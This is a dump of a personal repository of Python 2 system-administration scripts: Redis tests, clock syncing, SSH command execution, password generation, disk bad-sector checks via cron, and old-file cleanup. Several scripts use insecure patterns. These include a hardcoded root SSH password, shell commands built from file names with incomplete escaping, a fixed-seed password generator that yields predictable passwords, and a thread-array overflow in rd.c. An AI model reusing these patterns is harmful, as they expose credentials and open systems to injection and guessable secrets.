pool = ConnectionPool(host='10.0.6.95', port=6379, db=0,decode_responses=True) 11 | r = StrictRedis(connection_pool=pool) 12 | r.set('one', 'first') 13 | r.set('two', 'second') 14 | print r.get('one') 15 | print r.get('two') 16 | r.sadd("set1", 33, 44, 55, 66) # 往集合中添加元素 17 | print(r.scard("set1")) # 集合的长度是4 18 | print(r.smembers("set1")) -------------------------------------------------------------------------------- /Deployment_scripts/get_server_time.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import httplib 5 | import time 6 | import os 7 | 8 | 9 | def get_webservertime(host): 10 | try: 11 | conn = httplib.HTTPConnection(host) 12 | conn.request("GET", "/") 13 | r = conn.getresponse() 14 | # r.getheaders() #获取所有的http头 15 | ts = r.getheader('date') # 获取http头date部分 16 | print '============================' 17 | print ts 18 | print '============================' 19 | # 将GMT时间转换成北京时间 20 | ltime = time.strptime(ts[5:25], "%d %b %Y %H:%M:%S") 21 | # print(ltime) 22 | ttime = time.localtime(time.mktime(ltime) + 8 * 60 * 60) 23 | # print(ttime) 24 | dat = "date %u-%02u-%02u" % (ttime.tm_year, ttime.tm_mon, ttime.tm_mday) 25 | tm = "time %02u:%02u:%02u" % (ttime.tm_hour, ttime.tm_min, ttime.tm_sec) 26 | currenttime = "%u-%02u-%02u %02u:%02u:%02u" % ( 27 | ttime.tm_year, ttime.tm_mon, ttime.tm_mday, ttime.tm_hour, ttime.tm_min, ttime.tm_sec) 28 | print currenttime 29 | print (dat, tm) 30 | os.system(dat) 31 | os.system(tm) 32 | except: 33 | return False 34 | 35 | 36 | get_webservertime('www.baidu.com') -------------------------------------------------------------------------------- /Deployment_scripts/ssh_shell.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import paramiko 5 | 6 | hostname = 'node2' 7 | username = 'root' 8 | password = 'daemon' 9 | port = 22 10 | name='infinity-install' 11 | 12 | ssh = paramiko.SSHClient() 13 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 14 | ssh.connect(hostname=hostname,port=port,username=username,password=password) 15 | stdin, stdout, stderr = ssh.exec_command("cd /root/infinity-install/infinity.boreas; ./uninstall.sh") 16 | 17 | """ 18 | 实时打印输出信息,copy的,这个很有参考价值 19 | """ 20 | def line_buffered(f): 21 | line_buf = "" 22 | while not f.channel.exit_status_ready(): 23 | line_buf += f.read(1) 24 | if line_buf.endswith('\n'): 25 | yield line_buf 26 | line_buf = '' 27 | 28 | for l in line_buffered(stdout): 29 | print(l) 30 | 31 | ssh.close() -------------------------------------------------------------------------------- /Deployment_scripts/test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import datetime 5 | 6 | 7 | str=str(datetime.datetime.now()).replace(" ", "T") 8 | print(str) -------------------------------------------------------------------------------- /Deployment_scripts/thread_file.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import csv 5 | from multiprocessing import Pool # 导入进程池 6 | import datetime 7 | import random 8 | 9 | 10 | def mycallback(x): 11 | print(x) 12 | csv_write.writerow(x) 13 | 14 | 15 | """ 16 | 2018-11-28T14:35:59.904281+08:00 node1 journal: system cpu WARNING cpu load is overloaded 17 | """ 18 | def sayHi(num): 19 | node_list = ["node1", "node2", "node3"] 20 | times = str(datetime.datetime.now()).replace(" ", "T") 21 | level = ["WARNING", "ERROR", "NOTICE"] 22 | cluster = ["cpu", "cluster", "memeory", "disk"] 23 | message = "journal: system {cluster} {level} {clusters} load is overloaded".format( 24 | cluster=random.choice(cluster), level=random.choice(level),clusters=random.choice(cluster)) 25 | w = [times + " " + random.choice(node_list) + " " + message] 26 | return w 27 | 28 | 29 | if __name__ == '__main__': 30 | e1 = datetime.datetime.now() 31 | csv_file = open('test.log', 'w') 32 | csv_write = csv.writer(csv_file) 33 | p = Pool(10) 34 | 35 | for i in range(100000000): 36 | p.apply_async(sayHi, (i,), callback=mycallback) 37 | p.close() 38 | p.join() 39 | e2 = datetime.datetime.now() 40 | print((e2 - e1)) 41 | csv_file.close() -------------------------------------------------------------------------------- /Encrypt_work/simple_password.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | import random 6 | 7 | random.seed(0x1010) # 设置随机种子数 8 | # 设置种子选择空间 9 | s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!" 10 | ls = [] # 存取密码的列表 11 | FirstPsw = "" # 存取第一个密码的字符 12 | 13 | while len(ls) < 20: # 十个随机密码 14 | pwd = "" 15 | for i in range(16): # 密码位数 16 | pwd += s[random.randint(0, len(s) - 1)] 17 | if pwd[0] in FirstPsw: 18 | continue 19 | else: 20 | ls.append(pwd) 21 | FirstPsw += pwd[0] 22 | 23 | fo = open("password.txt", "w", encoding="utf-8") 24 | fo.write("\n".join(ls)) 25 | fo.close() 26 | -------------------------------------------------------------------------------- /Encrypt_work/user_name.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | 5 | import random 6 | 7 | random.seed(0x1010) # 设置随机种子数 8 | # 设置种子选择空间 9 | s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" 10 | ls = [] # 存取密码的列表 11 | FirstPsw = "" # 存取第一个密码的字符 12 | 13 | while len(ls) < 20: # 十个随机密码 14 | pwd = "" 15 | for i in range(8): # 密码位数 16 | pwd += s[random.randint(0, len(s) - 1)] 17 | if pwd[0] in FirstPsw: 18 | continue 19 | else: 20 | ls.append(pwd) 21 | FirstPsw += pwd[0] 22 | 23 | fo = open("user.txt", "w", encoding="utf-8") 24 | fo.write("\n".join(ls)) 25 | fo.close() -------------------------------------------------------------------------------- /File_operation/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/.DS_Store -------------------------------------------------------------------------------- /File_operation/FIle_delete/tes.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | import re 5 | 6 | a = 'Filesystem Size Used Avail Use% Mounted on \n \ 7 | /dev/mapper/centos-root 17G 2.0G 16G 12% /' 8 | 9 | print a.split('\n')[1].split('%') -------------------------------------------------------------------------------- /File_operation/File_check/file.log: -------------------------------------------------------------------------------- 1 | INFO:root:读取日志文件....... 2 | INFO:root:所有文件都已经读完,用时:4 3 | -------------------------------------------------------------------------------- /File_operation/File_check/pool_map.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | import os, time, random 3 | import logging 4 | import commands 5 | from datetime import datetime 6 | import multiprocessing 7 | import Queue 8 | import fileinput 9 | 10 | Path = r"/infinity" 11 | logging.basicConfig(filename='file.log', filemode="w", level=logging.DEBUG) 12 | 13 | 14 | #读文件 15 | def read(filename): 16 | print 'Get %s from queue.' % filename 17 | f = open("file.txt", "a+") 18 | f.write(filename + "\n") 19 | f.close() 20 | filenames = filename.replace(" ", "\\ ").replace("(", "\\(").replace(")", "\\)"). \ 21 | replace("<", "\\<").replace(">", "\\>") 22 | file, output = commands.getstatusoutput('dd if=' + filenames) 23 | # 如果返回值=0,说明文件可以正常读取,反之则否 24 | if file == 0: 25 | pass 26 | else: 27 | logging.warning("%s 错误!原因:%s" %(filenames,output)) 28 | 29 | #进程操作 30 | def work(filename): 31 | p = multiprocessing.Pool(4) 32 | for i in filename: 33 | p.apply_async(read, args=(i,)) 34 | p.close() 35 | p.join() 36 | 37 | #检查日志,如果不存在就从头开始,如果存在就从上次断掉的地方开始 38 | def check_file(): 39 | if os.path.exists("file.txt"): 40 | logging.info("读取日志文件.......") 41 | f = open("file.txt") 42 | data = [line.strip() for line in f] 43 | data2 = [os.path.join(root,fn) for root,dirs,files in os.walk(Path) for fn in files] 44 | filename = list(set(data) ^ set(data2)) 45 | work(filename) 46 | else: 47 | logging.info("日志文件不存在......") 48 | filename = [os.path.join(root, fn) for root, dirs, files in os.walk(Path) for fn in files] 49 | work(filename) 50 | 51 | 52 | 53 | if __name__=='__main__': 54 | t1 = time.time() 55 | check_file() 56 | t2 = time.time() 57 | logging.info("所有文件都已经读完,用时:%d"%(int(t2-t1))) -------------------------------------------------------------------------------- /File_operation/File_check/que.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #coding=utf-8 3 | # -*- coding:utf-8 -*- 4 | from multiprocessing import Process,Pool 5 | import os,time 6 | import commands 7 | 8 | Path = r"/home/lau" 9 | def run_proc(): ##定义一个函数用于进程调用 10 | for value in [os.path.join(root, fn) for root, dirs, files in os.walk(Path) for fn in files]: 11 | filename = value.replace(" ", "\\ ").replace("(", "\\(").replace(")", "\\)"). \ 12 | replace("<", "\\<").replace(">", "\\>") 13 | file, output = commands.getstatusoutput('dd if=' + filename) 14 | if file == 0: 15 | pass 16 | # #正确的文件可以不写入日志,可调整。 17 | # # logging.info('%s This is helath file!' % (filename)) 18 | else: 19 | pass 20 | 21 | 22 | 23 | #执行一次该函数共需1秒的时间 24 | if __name__ =='__main__': #执行主进程 25 | print 'Run the main process (%s).' % (os.getpid()) 26 | mainStart = time.time() #记录主进程开始的时间 27 | p = Pool() #开辟进程池 #开辟5个进程 28 | for i in range(6): 29 | p.apply_async(run_proc)#每个进程都调用run_proc函数, 30 | print 'Waiting for all subprocesses done ...' 31 | p.close() #关闭进程池 32 | p.join() #等待开辟的所有进程执行完后,主进程才继续往下执行 33 | print 'All subprocesses done' 34 | mainEnd = time.time() #记录主进程结束时间 35 | print 'All process ran %0.2f seconds.' % (mainEnd-mainStart) #主进程执行时间 -------------------------------------------------------------------------------- /File_operation/File_check/rediss.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | 4 | f = open("file.txt") 5 | data = [line.strip() for line in f] 6 | data2 = [os.path.join(root,fn) for root,dirs,files in os.walk("/home/lau") for fn in files] 7 | print(list(set(data) ^ set(data2))) 8 | -------------------------------------------------------------------------------- /File_operation/File_check/thread.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | import commands 3 | import os 4 | from multiprocessing.dummy import Pool as ThreadPool 5 | 6 | Path = "/home/lau" 7 | 8 | def run_proc(value): ##定义一个函数用于进程调用 9 | print("get %s" %value) 10 | filename = value.replace(" ", "\\ ").replace("(", "\\(").replace(")", "\\)"). \ 11 | replace("<", "\\<").replace(">", "\\>") 12 | file, output = commands.getstatusoutput('dd if=' + filename) 13 | if file == 0: 14 | pass 15 | # #正确的文件可以不写入日志,可调整。 16 | # # logging.info('%s This is helath file!' % (filename)) 17 | else: 18 | pass 19 | 20 | 21 | pool = ThreadPool() 22 | filename = [os.path.join(root, fn) for root, dirs, files in os.walk(Path) for fn in files] 23 | results = pool.map(run_proc,filename) 24 | print results 25 | pool.close() 26 | pool.join() 27 | 28 | print 'main ended' -------------------------------------------------------------------------------- /File_operation/check.json: -------------------------------------------------------------------------------- 1 | { 2 | "PATH":"/var/log/infinity" 3 | } -------------------------------------------------------------------------------- /File_operation/checkDiskBadSectors.sh: -------------------------------------------------------------------------------- 1 | echo "*/1 * * * * root python /opt/checkDiskBadSectors/checkDiskBadSectors.py >> /opt/checkDiskBadSectors/checkDiskBadSectors.log" >> /etc/crontab 2 | tar xvf ./checkDiskBadSectors.tar.gz -C /opt 3 | -------------------------------------------------------------------------------- /File_operation/checkDiskBadSectors.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/checkDiskBadSectors.tar.gz -------------------------------------------------------------------------------- /File_operation/checkDiskBadSectors/create_file.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import time 5 | 6 | #生成测试文件1000个,大小为100M,可以手动更改大小和数量d 7 | 8 | def creatfilesize(n,name): 9 | # local_time = time.strftime("%Y%m%d%H%M%S",time.localtime()) 10 | #写入测试文件 11 | file_name = "/infinity/%s.txt" % name 12 | bigFile= open(file_name, 'w') 13 | bigFile.seek(1024*1024*n) 14 | bigFile.write('test') 15 | bigFile.close() 16 | print "ALL down !" 17 | 18 | if __name__ == '__main__': 19 | for i in range(1000): 20 | #生成文件1000个,大小为100m/每个 21 | creatfilesize(100,i) 22 | -------------------------------------------------------------------------------- /File_operation/checkDiskBadSectors/libpycall.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/checkDiskBadSectors/libpycall.so -------------------------------------------------------------------------------- /File_operation/check_file/checkDiskBadSectors.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | import os, time, random 3 | import logging 4 | import commands 5 | from datetime import datetime 6 | import multiprocessing 7 | import Queue 8 | import fileinput 9 | 10 | Path = r"/infinity" 11 | logging.basicConfig(filename='file.log', filemode="w", level=logging.DEBUG) 12 | 13 | 14 | #读文件 15 | def read(filename): 16 | print 'Get %s from queue.' % filename 17 | f = open("file.txt", "a+") 18 | f.write(filename + "\n") 19 | f.close() 20 | filenames = filename.replace(" ", "\\ ").replace("(", "\\(").replace(")", "\\)"). \ 21 | replace("<", "\\<").replace(">", "\\>") 22 | file, output = commands.getstatusoutput('dd if=' + filenames) 23 | # 如果返回值=0,说明文件可以正常读取,反之则否 24 | if file == 0: 25 | pass 26 | else: 27 | logging.warning("%s 错误!原因:%s" %(filenames,output)) 28 | 29 | #进程操作 30 | def work(filename): 31 | p = multiprocessing.Pool(11) 32 | for i in filename: 33 | p.apply_async(read, args=(i,)) 34 | p.close() 35 | p.join() 36 | 37 | #检查日志,如果不存在就从头开始,如果存在就从上次断掉的地方开始 38 | def check_file(): 39 | if os.path.exists("file.txt"): 40 | logging.info("读取日志文件.......") 41 | f = open("file.txt") 42 | data = [line.strip() for line in f] 43 | data2 = [os.path.join(root,fn) for root,dirs,files in os.walk(Path) for fn in files] 44 | filename = list(set(data) ^ set(data2)) 45 | work(filename) 46 | else: 47 | logging.info("日志文件不存在......") 48 | filename = [os.path.join(root, fn) for root, dirs, files in os.walk(Path) for fn in files] 49 | work(filename) 50 | 51 | 52 | 53 | if __name__=='__main__': 54 | t1 = time.time() 55 | check_file() 56 | t2 = time.time() 57 | logging.info("所有文件都已经读完,用时:%d"%(int(t2-t1))) 58 | -------------------------------------------------------------------------------- /File_operation/check_file/check_file.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import os.path 6 | import datetime 7 | import time 8 | import shutil 9 | 10 | now_time = datetime.datetime.now() 11 | 12 | def get_file(): 13 | Path = "/media/lau/datas/home/lau/Code/Amusing_python" 14 | data = [os.path.join(root,fn) for root,dirs,files in os.walk(Path) 15 | for fn in files] 16 | 17 | return data 18 | 19 | def check_file_time(): 20 | file_list = [] 21 | for i in get_file(): 22 | statinfo = os.stat(i) 23 | timestamp = statinfo.st_ctime 24 | time_local = time.localtime(timestamp) 25 | dt = time.strftime("%Y-%m-%d %H:%M:%S", time_local) 26 | a = datetime.datetime.strptime(dt, '%Y-%m-%d %H:%M:%S') 27 | if now_time - a > datetime.timedelta(days=7): 28 | file_list.append(i) 29 | else: 30 | continue 31 | return file_list 32 | 33 | def opertion_file(): 34 | for i in check_file_time(): 35 | shutil.move(i, "/infinityfs1/.del") -------------------------------------------------------------------------------- /File_operation/check_file/check_file_2.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import os.path 5 | import datetime 6 | import time 7 | import shutil 8 | 9 | now_time = datetime.datetime.now() 10 | 11 | def get_file(): 12 | Path = "/infinityfs1" 13 | data = [os.path.join(root,fn) for root,dirs,files in os.walk(Path) 14 | for fn in files] 15 | 16 | return data 17 | 18 | def check_file_time(): 19 | file_list = [] 20 | for i in get_file(): 21 | statinfo = os.stat(i) 22 | timestamp = statinfo.st_ctime 23 | time_local = time.localtime(timestamp) 24 | dt = time.strftime("%Y-%m-%d %H:%M:%S", time_local) 25 | a = datetime.datetime.strptime(dt, '%Y-%m-%d %H:%M:%S') 26 | if now_time - a > datetime.timedelta(days=14): 27 | file_list.append(i) 28 | else: 29 | continue 30 | return file_list 31 | 32 | def opertion_file(): 33 | for i in check_file_time(): 34 | os.remove(i) -------------------------------------------------------------------------------- /File_operation/check_file/check_file_repeat.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import os 7 | import sys 8 | 9 | class diskwalk(object): 10 | def __init__(self, path): 11 | self.path = path 12 | def paths(self): 13 | path = self.path 14 | path_collection = (os.path.join(root,fn) for root,dirs,files in os.walk(path) for fn in files) 15 | return path_collection 16 | 17 | -------------------------------------------------------------------------------- /File_operation/check_file/install.sh: -------------------------------------------------------------------------------- 1 | mkdir /infinityfs1/.del 2 | echo "*/1 * * * * root python /opt/checkDiskBadSectors/checkDiskBadSectors.py >> /opt/checkDiskBadSectors/checkDiskBadSectors.log" >> /etc/crontab 3 | -------------------------------------------------------------------------------- /File_operation/check_file/libpycall.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/check_file/libpycall.so -------------------------------------------------------------------------------- /File_operation/check_file/rdfile.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int rd(char *filename) 8 | { 9 | int fd; 10 | int size_read; 11 | char buffer[800000]; 12 | fd = open(filename, O_RDONLY); 13 | size_read = read(fd, buffer, sizeof(buffer)); 14 | while (size_read > 0) /*循环读取数据*/ 15 | { 16 | if (size_read < sizeof(buffer)) 17 | { 18 | buffer[size_read] = '\0'; 19 | } 20 | // printf("%s\n", buffer); 21 | size_read = read(fd, buffer, sizeof(buffer) - 1); 22 | } 23 | if (size_read == -1) /*如果出错*/ 24 | { 25 | perror("Error reading"); 26 | return -1; 27 | } 28 | close(fd); 29 | return 0; 30 | } 31 | 32 | -------------------------------------------------------------------------------- /File_operation/check_file/repeat.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /File_operation/check_file/test/file.log: -------------------------------------------------------------------------------- 1 | INFO:root:日志文件不存在...... 2 | -------------------------------------------------------------------------------- /File_operation/check_file/test/file.txt: -------------------------------------------------------------------------------- 1 | /home/lau/下载/pycharm-professional-2017.3.2.tar.gz 2 | /home/lau/下载/.2.shb.swp 3 | /home/lau/下载/数据结构(严蔚敏C版)b.pdf 4 | /home/lau/下载/ssr_3.4.0.6.apk 5 | /home/lau/下载/1.py 6 | /home/lau/下载/11b.pdf 7 | /home/lau/下载/.pyb 8 | /home/lau/下载/test/1.py 9 | /home/lau/下载/2000W/1200W-1400W.csv 10 | /home/lau/下载/2000W/200W-400W.csv 11 | /home/lau/下载/2000W/400W-600W.csv 12 | -------------------------------------------------------------------------------- /File_operation/check_file/test/libpycall.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/check_file/test/libpycall.so -------------------------------------------------------------------------------- /File_operation/check_file/test/rd.c: -------------------------------------------------------------------------------- 1 | /***gcc -o libpycall.so -shared -fPIC rd.c*/ 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | 12 | const int buf_size=1024; 13 | const int buf_size2=1024*2; 14 | 15 | /*获取线程的id必须使用syscall,不能直接使用pthread_t 16 | *pthread_t 的结构体实际是: 17 | *typedef struct { 18 | * void * p; // Pointer to actual object 19 | * unsigned int x; // Extra information - reuse count etc 20 | *} ptw32_handle_t; 21 | */ 22 | pid_t gettid() 23 | { 24 | return syscall(__NR_gettid); 25 | } 26 | 27 | /*文件读取线程,实现对一个或多个文件的读写*/ 28 | void * func(void * args){ 29 | FILE* fp=(FILE*)args; 30 | int count=0; 31 | int read_count=0; 32 | char * buf; 33 | int size; 34 | pid_t tid=gettid(); 35 | int sleep_time; 36 | 37 | if(tid%2==0){ 38 | size=buf_size; 39 | sleep_time=50; 40 | } 41 | else{ 42 | size=buf_size2; 43 | sleep_time=100; 44 | } 45 | 46 | buf=(char *)malloc(size); 47 | printf("the tid is %d, malloc size is %d\n", tid, size); 48 | while(!feof(fp)){ 49 | count+=fread(buf, 1, size, fp); 50 | read_count++; 51 | usleep(sleep_time); 52 | } 53 | printf("thread [%d] read count is %d, read size is %d\n", tid, read_count, count); 54 | pthread_exit("thread exit"); 55 | } 56 | 57 | int rd(char *rd_path) 58 | { 59 | FILE* fd=fopen(rd_path,"r"); 60 | if(NULL==fd) 61 | return -1; 62 | // printf("bitch!"); 63 | pthread_t ntid[4]; 64 | int err; 65 | int i=0; 66 | 67 | /*多个线程同时对一个文件执行读操作,最后每个线程*/ 68 | for(i=0; i<5; i++){ 69 | err=pthread_create(&ntid[i], NULL, func, fd); 70 | if(err!=0){ 71 | printf("can't create a new thread"); 72 | } 73 | } 74 | 75 | for(i=0; i<5; i++) 76 | pthread_join(ntid[i], NULL); 77 | return 0; 78 | } 79 | -------------------------------------------------------------------------------- /File_operation/check_file/test/read.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import codecs 5 | fd = codecs.open('/media/lau/datas/home/lau/下载/2000wan/2000W/1-200W.csv') 6 | fd.read() 7 | fd.close() 8 | -------------------------------------------------------------------------------- /File_operation/create_file/cerate_file.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import os,sys 6 | 7 | base = './test' 8 | i = 1 9 | for j in range(100): 10 | file_name = base+str(i) 11 | os.mkdir(file_name) 12 | i=i+1 -------------------------------------------------------------------------------- /File_operation/create_file/creat_file2.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | import re 4 | 5 | def produceBnf(infilename,outfilename): 6 | List=[] 7 | with open(infilename,'r') as inf: 8 | for line in inf.readlines(): 9 | List.append(re.match("正则表达式").group()) 10 | with open(outfilename,'w') as outf: 11 | i=0 12 | outf.write("文件头") 13 | for command in List: 14 | outf.write("写入刚刚读取的内容(也可能是某种对应关系)") 15 | outf.write("写入其他内容") 16 | outf.write("写入文件尾") -------------------------------------------------------------------------------- /File_operation/create_file/create_dir.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | def gen_file(path, size): 6 | # 首先以路径path新建一个文件,并设置模式为写 7 | file = open(path, 'w') 8 | # 根据文件大小,偏移文件读取位置 9 | file.seek(1024 * 1024 * 1024 * size) # 以GB为单位 10 | file.write('\x00') 11 | file.close() 12 | 13 | 14 | def create_file(): 15 | for i in range(10): 16 | print(i) 17 | gen_file(('./%i.dat' %i),1) 18 | 19 | create_file() 20 | -------------------------------------------------------------------------------- /File_operation/create_file/create_file2.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import time 5 | 6 | def creatfilesize(n,name): 7 | # local_time = time.strftime("%Y%m%d%H%M%S",time.localtime()) 8 | #写入测试文件 9 | file_name = "./test/%s.txt" % name 10 | bigFile= open(file_name, 'w') 11 | bigFile.seek(1024*1024*n) 12 | bigFile.write('test') 13 | bigFile.close() 14 | print "ALL down !" 15 | 16 | if __name__ == '__main__': 17 | for i in range(1000): 18 | creatfilesize(10,i) 19 | -------------------------------------------------------------------------------- /File_operation/ergodic_dir/test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | import os, logging, pdb 6 | 7 | 8 | def search(s): 9 | rootdir = '../' # 指明被遍历的文件夹 10 | 11 | # 三个参数:分别返回1.父目录 2.所有文件夹名字(不含路径) 3.所有文件名字 12 | for parent, dirnames, filenames in os.walk(rootdir): 13 | for filename in filenames: # 输出文件信息 14 | # print "filename is:" + filename 15 | if filename.find(s) != -1: 16 | path = os.path.abspath(os.path.join(parent, filename)) # 输出文件路径信息 17 | comand = 'cp -r {path} /root/one'.format(path=path) 18 | os.system(comand) 19 | 20 | 21 | if __name__ == '__main__': 22 | a = [ 23 | "bind - 9.9.4 - 51.el7_4.2.x86_64.rpm", 24 | "bind - libs - 9.9.4 - 51.el7_4.2.x86_64.rpm", 25 | "bind - license - 9.9.4 - 51.el7_4.2.noarch.rpm", 26 | "bind - utils - 9.9.4 - 51.el7_4.2.x86_64.rpm", 27 | "python2 - psutil - 5.4.3 - 4.el7.x86_64.rpm", 28 | "python - crypto - 2.6.1 - 1.el7.x86_64.rpm", 29 | "python - ecdsa - 0.11 - 3.el7.centos.noarch.rpm", 30 | "python-netifaces - 0.10.4 - 3.el7.x86_64.rpm", 31 | "python-paramiko - 1.15.1 - 1.el7.noarch.rpm", 32 | "parted - 3.1 - 28.el7.x86_64.rpm", 33 | ] 34 | for i in a: 35 | search(i) -------------------------------------------------------------------------------- /File_operation/file_test/File_6.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | import multiprocessing, Queue 3 | import os 4 | import time 5 | from multiprocessing import Process 6 | from time import sleep 7 | from random import randint 8 | q = multiprocessing.Queue() 9 | # q = Queue.Queue(10) 10 | fns=[os.path.join(root,fn) for root,dirs,files in os.walk(r"/home/lau/下载") for fn in files] 11 | for f in fns: 12 | q.put(q) 13 | 14 | print(q.get()) -------------------------------------------------------------------------------- /File_operation/file_test/duoxiancheng.py: -------------------------------------------------------------------------------- 1 | #! -*-coding: utf-8 -*- 2 | import os 3 | path = "/home/lau/下载/" # 文件夹目录 4 | 5 | def read_file(file_name): # 读取文件内容并返回 6 | print file_name 7 | # str = os.system('dd if=' + file_name ) 8 | 9 | return str 10 | 11 | def write_file(paths): 12 | flag = True # 定义一个判断标示 13 | data = [paths] # 置一个存放文件夹的list, 这里将要读取的文件夹存入 14 | while flag: 15 | for i in xrange(len(data)): # 遍历目录list 16 | file_path = data.pop() # 取出一个文件目录 17 | files = os.listdir(file_path) # 读出目录中的下一级所有文件名和文件夹 18 | for file in files: # 遍历文件夹 19 | # print file_path+file 20 | if not os.path.isdir(file_path+file): #判断是否是文件夹,不是文件夹才打开 21 | str = read_file(file_path+file) 22 | else: 23 | if "." not in file: 24 | data.append(file_path + file + "/") 25 | if len(data) <= 0: 26 | flag = False 27 | write_file(path) -------------------------------------------------------------------------------- /File_operation/file_test/file.log: -------------------------------------------------------------------------------- 1 | INFO:root:./file_2.py This is helath file! 2 | INFO:root:./file_example.py This is helath file! 3 | INFO:root:./processing_example.py This is helath file! 4 | INFO:root:./new_fike.py This is helath file! 5 | INFO:root:./file_1.py This is helath file! 6 | INFO:root:./file_3.py This is helath file! 7 | INFO:root:./duoxiancheng.py This is helath file! 8 | INFO:root:./example.py This is helath file! 9 | INFO:root:./file_4.py This is helath file! 10 | INFO:root:./file.log This is helath file! 11 | INFO:root:./File_6.py This is helath file! 12 | INFO:root:./.DS_Store This is helath file! 13 | INFO:root:./new_file.py This is helath file! 14 | INFO:root:./File_queue.py This is helath file! 15 | INFO:root:./file_log.py This is helath file! 16 | INFO:root:./files.py This is helath file! 17 | -------------------------------------------------------------------------------- /File_operation/file_test/file_1.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf8 -*- 2 | 3 | import time 4 | from multiprocessing import Pool 5 | def run(fn): 6 | #fn: 函数参数是数据列表的一个元素 7 | time.sleep(1) 8 | return fn*fn 9 | 10 | if __name__ == "__main__": 11 | testFL = [1,2,3,4,5,6] 12 | print 'shunxu:' #顺序执行(也就是串行执行,单进程) 13 | s = time.time() 14 | for fn in testFL: 15 | print run(fn) 16 | 17 | e1 = time.time() 18 | print "顺序执行时间:", int(e1 - s) 19 | 20 | print 'concurrent:' #创建多个进程,并行执行 21 | pool = Pool(5) #创建拥有5个进程数量的进程池 22 | #testFL:要处理的数据列表,run:处理testFL列表中数据的函数 23 | rl =pool.map(run, testFL) 24 | pool.close()#关闭进程池,不再接受新的进程 25 | pool.join()#主进程阻塞等待子进程的退出 26 | e2 = time.time() 27 | print "并行执行时间:", int(e2-e1) 28 | print rl -------------------------------------------------------------------------------- /File_operation/file_test/file_3.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | 3 | import threading 4 | import time 5 | 6 | class MyThread(threading.Thread): 7 | 8 | def actionA(self): 9 | 10 | r_lcok.acquire() #count=1 11 | print(self.name,"gotA",time.ctime()) 12 | time.sleep(2) 13 | 14 | r_lcok.acquire() #count=2 15 | print(self.name,"gotB",time.ctime()) 16 | time.sleep(1) 17 | 18 | r_lcok.release() #count=1 19 | r_lcok.release() #count=0 20 | 21 | 22 | def actionB(self): 23 | 24 | r_lcok.acquire() #count=1 25 | print(self.name,"gotB",time.ctime()) 26 | time.sleep(2) 27 | 28 | r_lcok.acquire() #count=2 29 | print(self.name,"gotA",time.ctime()) 30 | time.sleep(1) 31 | 32 | r_lcok.release() #count=1 33 | r_lcok.release() #count=0 34 | 35 | def run(self): 36 | 37 | self.actionA() 38 | self.actionB() 39 | 40 | if __name__ == '__main__': 41 | 42 | r_lcok=threading.RLock() 43 | L=[] 44 | 45 | for i in range(5): 46 | t=MyThread() 47 | t.start() 48 | L.append(t) 49 | 50 | for i in L: 51 | i.join() 52 | 53 | print("ending.....") 